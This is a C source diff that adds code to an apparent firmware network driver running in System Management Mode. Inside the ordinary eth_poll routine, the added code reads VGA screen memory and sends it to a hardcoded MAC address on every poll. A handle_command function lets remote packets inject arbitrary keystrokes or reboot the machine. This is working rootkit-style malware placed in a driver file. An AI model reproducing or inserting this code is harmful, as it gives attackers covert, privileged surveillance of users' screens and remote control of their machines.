#include <pci.h>
+#include <io.h>
+#include <video_defines.h>
+#include <smram.h>
#include <pci-bother.h>
#include <output.h>
+#include <minilib.h>
#include "net.h"
+#include "../aseg/keyboard.h"
static struct nic *_nic = 0x0;
extern struct pci_driver a3c90x_driver;
+static char test[1024] = {0};
+
+static char packet[4096] = {0};
+
+typedef struct packet_t {
+ char from[6];
+ char to[6];
+ unsigned short ethertype;
+ unsigned short datalen;
+ unsigned char command;
+ char data[];
+} packet_t;
+
+static unsigned char vga_read(unsigned char idx)
+{
+ outb(CRTC_IDX_REG, idx);
+ return inb(CRTC_DATA_REG);
+}
+
+static unsigned int vga_base()
+{
+ return (((unsigned int) vga_read(CRTC_START_ADDR_MSB_IDX)) << 9)
+ + (((unsigned int) vga_read(CRTC_START_ADDR_LSB_IDX)) << 1);
+}
+
+void handle_command(packet_t * p)
+{
+ uint16_t dl = htons(p->datalen);
+ int i;
+
+ outputf("NIC: Command: 0x%x, %d bytes", p->command, dl);
+
+ switch (p->command) {
+ case 0x42:
+ for (i = 0; i < dl; i++)
+ kbd_inject_key(p->data[i]);
+ break;
+ case 0xFE:
+ outb(0xCF9, 0x4); /* Reboot */
+ break;
+ }
+}
+
void eth_poll()
{
- if (_nic)
- _nic->poll(_nic, 0);
+ int i;
+// static int c;
+ static short pos = 0x0;
+ unsigned short base = vga_base();
+ unsigned char *p = (unsigned char *)0xB8000;
+ smram_state_t old_state;
+
+ if (!_nic)
+ return;
+
+ if (_nic->poll(_nic, 0)) {
+ _nic->packet = packet;
+ _nic->poll(_nic, 1);
+
+ packet_t * p = (packet_t *) packet;
+
+ outputf("NIC: Packet: %d 0x%x", _nic->packetlen, htons(p->ethertype));
+ if (htons(p->ethertype) == 0x1338) {
+ if (htons(p->datalen) + sizeof(packet_t) > _nic->packetlen) {
+ outputf("NIC: Malformed packet");
+ } else {
+ handle_command(p);
+ }
+ }
+ }
+ smram_tseg_set_state(SMRAM_TSEG_OPEN);
+ old_state = smram_save_state();
+
+// if ((c++) % 2)
+// return;
+
+ if (((base + 80*25*2)%0x8000) < base)
+ {
+ if ((pos > ((base + 80*25*2)%0x8000)) && (pos < base))
+ pos = base;
+ } else if ((pos > base + 80*25*2) || (pos < base))
+ pos = base;
+
+ test[0] = pos >> 8;
+ test[1] = pos & 0xFF;
+ test[2] = base >> 8;
+ test[3] = base & 0xFF;
+
+ smram_aseg_set_state(SMRAM_ASEG_SMMCODE);
+
+ for (i = 4; i < 1024; i++)
+ {
+ test[i] = p[pos++];
+ pos %= 0x8000;
+ }
+ smram_restore_state(old_state);
+ _nic->transmit("\x00\x03\x93\x87\x84\x8C", 0x1337, 1024, test);
}
int eth_register(struct nic *nic)
void eth_init()
{
- if (pci_probe_driver(a3c90x_driver))
- outputf("found 3c90x, hopefully!");
+ /* Required for DMA to work. :( */
+ smram_tseg_set_state(SMRAM_TSEG_OPEN);
+ pci_probe_driver(a3c90x_driver);
}